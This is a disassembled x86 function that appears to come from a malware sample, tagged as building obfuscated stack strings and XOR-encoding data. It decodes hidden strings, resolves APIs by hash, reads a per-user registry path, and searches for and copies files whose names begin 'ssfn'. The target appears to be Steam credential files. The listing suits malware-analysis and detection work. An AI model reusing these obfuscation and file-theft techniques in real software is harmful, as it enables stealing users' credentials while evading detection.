Function at 0x413e3a
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
sub esp, 0x74c
push ebx
push ebp
push esi
xor ebx, ebx
mov dword [esp + 0x20], 0x3737361e
push edi
mov dword [esp + 0x28], 0x2b3e7938
mov ecx, ebx
mov dword [esp + 0x2c], 0x2a793b38
mov dword [esp + 0x30], 0x34383c2d
mov byte [esp + 0x34], 0x53
mov al, byte [esp + ecx + 0x24]
xor al, 0x59
mov byte [esp + ecx + 0x80], al
inc ecx
cmp ecx, 0x11
jl 0x413e6d
mov byte [esp + 0x91], bl
mov ecx, ebx
mov dword [esp + 0x24], 0x55474e72
mov dword [esp + 0x28], 0x44534056
mov dword [esp + 0x2c], 0x4d40777d
mov dword [esp + 0x30], 0x727d4457
mov dword [esp + 0x34], 0x4c404455
mov al, byte [esp + ecx + 0x24]
xor al, 0x21
movzx eax, al
mov word [esp + ecx*2 + 0xdc], ax
inc ecx
cmp ecx, 0x14
jl 0x413eb1
xor eax, eax
mov dword [esp + 0x38], 0xa4a8b796
mov word [esp + 0x104], ax
mov ecx, ebx
mov dword [esp + 0x3c], 0xb7a493b0
mov edi, 0xff
mov byte [esp + 0x40], 0xab
movzx eax, byte [esp + ecx + 0x38]
sub ax, 0x43
and ax, di
mov word [esp + ecx*2 + 0x94], ax
inc ecx
cmp ecx, 9
jl 0x413eee
xor eax, eax
mov word [esp + 0xa6], ax
lea eax, [esp + 0x80]
push eax
call fcn.00412606
lea eax, [esp + 0x35c]
mov dword [esp], 0x400
push eax
lea eax, [esp + 0x9c]
mov ecx, 0x80000001
push eax
lea edx, [esp + 0xe8]
call fcn.0041b8bc
add esp, 0xc
test al, al
je 0x414316
lea eax, [esp + 0x358]
xor ecx, ecx
push eax
mov edx, 0xeeb55893
inc ecx
call fcn.00412cbc
call eax
cmp eax, 0xffffffff
je 0x414316
test al, 0x10
je 0x414316
push 0x61
pop eax
mov byte [esp + 0x48], al
mov ecx, ebx
mov dword [esp + 0x49], 0x3b7f8984
mov dword [esp + 0x4d], 0x7c808f8e
mov dword [esp + 0x51], 0x7c7f3b88
mov dword [esp + 0x55], 0x3b477c8f
mov dword [esp + 0x59], 0x838f7c8b
mov dword [esp + 0x5d], 0x8e87403b
mov byte [esp + 0x61], 0x25
mov al, byte [esp + ecx + 0x48]
sub al, 0x1b
mov byte [esp + ecx + 0xc0], al
inc ecx
cmp ecx, 0x1a
jl 0x413fb8
push 0x66
pop eax
mov byte [esp + 0xda], bl
mov ecx, ebx
mov word [esp + 0x1c], 0x7930
mov byte [esp + 0x1e], al
mov word [esp + 0x1f], 0x3f49
mov al, byte [esp + ecx + 0x1c]
xor al, 0x15
movzx eax, al
mov word [esp + ecx*2 + 0x74], ax
inc ecx
cmp ecx, 5
jl 0x413fe9
xor eax, eax
mov dword [esp + 0x10], 0xc5dcd58e
mov word [esp + 0x7e], ax
mov ecx, ebx
mov dword [esp + 0x14], 0xcfd7d8cc
mov word [esp + 0x18], 0xd0d2
movzx eax, byte [esp + ecx + 0x10]
sub ax, 0x69
and ax, di
mov word [esp + ecx*2 + 0xa8], ax
inc ecx
cmp ecx, 0xa
jl 0x41401d
xor eax, eax
mov word [esp + 0xbc], ax
lea eax, [esp + 0x358]
push eax
lea eax, [esp + 0xc4]
push eax
call fcn.00412606
lea eax, [esp + 0x360]
push eax
lea eax, [esp + 0x80]
push eax
call fcn.0041b96a
mov ebp, eax
add esp, 0x10
mov dword [esp + 0x1c], ebp
test ebp, ebp
je 0x414281
lea eax, [esp + 0x108]
xor ecx, ecx
push eax
push ebp
mov edx, 0x54e1cc7b
inc ecx
call fcn.00412cbc
call eax
xor ecx, ecx
mov esi, eax
mov edx, 0x17299c7b
mov dword [esp + 0x68], esi
inc ecx
call fcn.00412cbc
cmp esi, 0xffffffff
je 0x41427a
mov word [esp + 0x44], 0xa8a8
mov ebp, eax
push 0x2e
pop eax
mov word [esp + 0x64], ax
mov ecx, ebx
xor eax, eax
mov word [esp + 0x66], ax
movzx eax, byte [esp + ecx + 0x44]
sub ax, 0x7a
and ax, di
mov word [esp + ecx*2 + 0x6c], ax
inc ecx
cmp ecx, 2
jl 0x4140ca
xor eax, eax
mov word [esp + 0x70], ax
lea eax, [esp + 0x64]
push eax
lea eax, [esp + 0x138]
push eax
call fcn.00405af6
pop ecx
pop ecx
test eax, eax
je 0x414253
lea eax, [esp + 0x6c]
push eax
lea eax, [esp + 0x138]
push eax
call fcn.00405af6
pop ecx
pop ecx
test eax, eax
je 0x414253
test byte [esp + 0x108], 0xa7
je 0x414253
lea eax, [esp + 0x134]
push eax
call fcn.0040581e
pop ecx
cmp eax, 4
jb 0x414253
push 0x73
pop eax
cmp word [esp + 0x134], ax
jne 0x414253
cmp word [esp + 0x136], ax
jne 0x414253
push 0x66
pop eax
cmp word [esp + 0x138], ax
jne 0x414253
cmp word [esp + 0x13a], 0x6e
jne 0x414253
push 0x61
mov dword [esp + 0x3c], 0xfb120bc4
mov ecx, ebx
mov word [esp + 0x40], 0xbc4
mov byte [esp + 0x42], 0x12
pop edx
movzx eax, byte [esp + ecx + 0x38]
add ax, dx
and ax, di
mov word [esp + ecx*2 + 0x24], ax
inc ecx
cmp ecx, 7
jl 0x41419d
xor eax, eax
mov word [esp + 0x32], ax
lea eax, [esp + 0x134]
push eax
lea eax, [esp + 0x35c]
push eax
lea eax, [esp + 0x2c]
push eax
call fcn.0041b96a
mov edi, eax
add esp, 0xc
test edi, edi
je 0x41424e
push 0x73
pop eax
mov byte [esp + 0x10], al
mov ecx, ebx
mov dword [esp + 0x11], 0x8d818594
mov edx, 0xff
mov dword [esp + 0x15], 0x938c454f
movzx eax, byte [esp + ecx + 0x10]
sub ax, 0x20
and ax, dx
mov word [esp + ecx*2 + 0x48], ax
inc ecx
cmp ecx, 9
jl 0x4141fb
xor eax, eax
mov word [esp + 0x5a], ax
lea eax, [esp + 0x134]
push eax
lea eax, [esp + 0x4c]
push eax
call fcn.0041b96a
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x414243
mov edx, esi
mov ecx, edi
call fcn.00418b32
push esi
call fcn.004056f0
pop ecx
push edi
call fcn.004056f0
mov esi, dword [esp + 0x6c]
pop ecx
mov edi, 0xff
lea eax, [esp + 0x108]
push eax
push esi
call ebp
test eax, eax
jne 0x4140b9
xor ecx, ecx
mov edx, 0x83fbc401
push esi
inc ecx
call fcn.00412cbc
call eax
mov ebp, dword [esp + 0x1c]
push ebp
call fcn.004056f0
pop ecx
lea eax, [esp + 0x358]
push eax
lea eax, [esp + 0xac]
push eax
call fcn.0041b96a
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x414316
mov dword [esp + 0x10], 0x57534265
mov ecx, ebx
mov dword [esp + 0x14], 0x5955195b
mov dword [esp + 0x18], 0x515f5058
mov al, byte [esp + ecx + 0x10]
xor al, 0x36
movzx eax, al
mov word [esp + ecx*2 + 0x48], ax
inc ecx
cmp ecx, 0xc
jl 0x4142b8
xor eax, eax
mov dword [esp + 0x1c], 0xc6d48c88
mov word [esp + 0x60], ax
mov byte [esp + 0x20], 0xc4
mov al, byte [esp + ebx + 0x1c]
xor al, 0xa2
movzx eax, al
mov word [esp + ebx*2 + 0x10], ax
inc ebx
cmp ebx, 5
jl 0x4142e0
xor eax, eax
lea edx, [esp + 0x48]
mov word [esp + 0x1a], ax
mov ecx, esi
lea eax, [esp + 0x10]
push 1
push eax
call fcn.004186f5
push esi
call fcn.004056f0
add esp, 0xc
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x74c
ret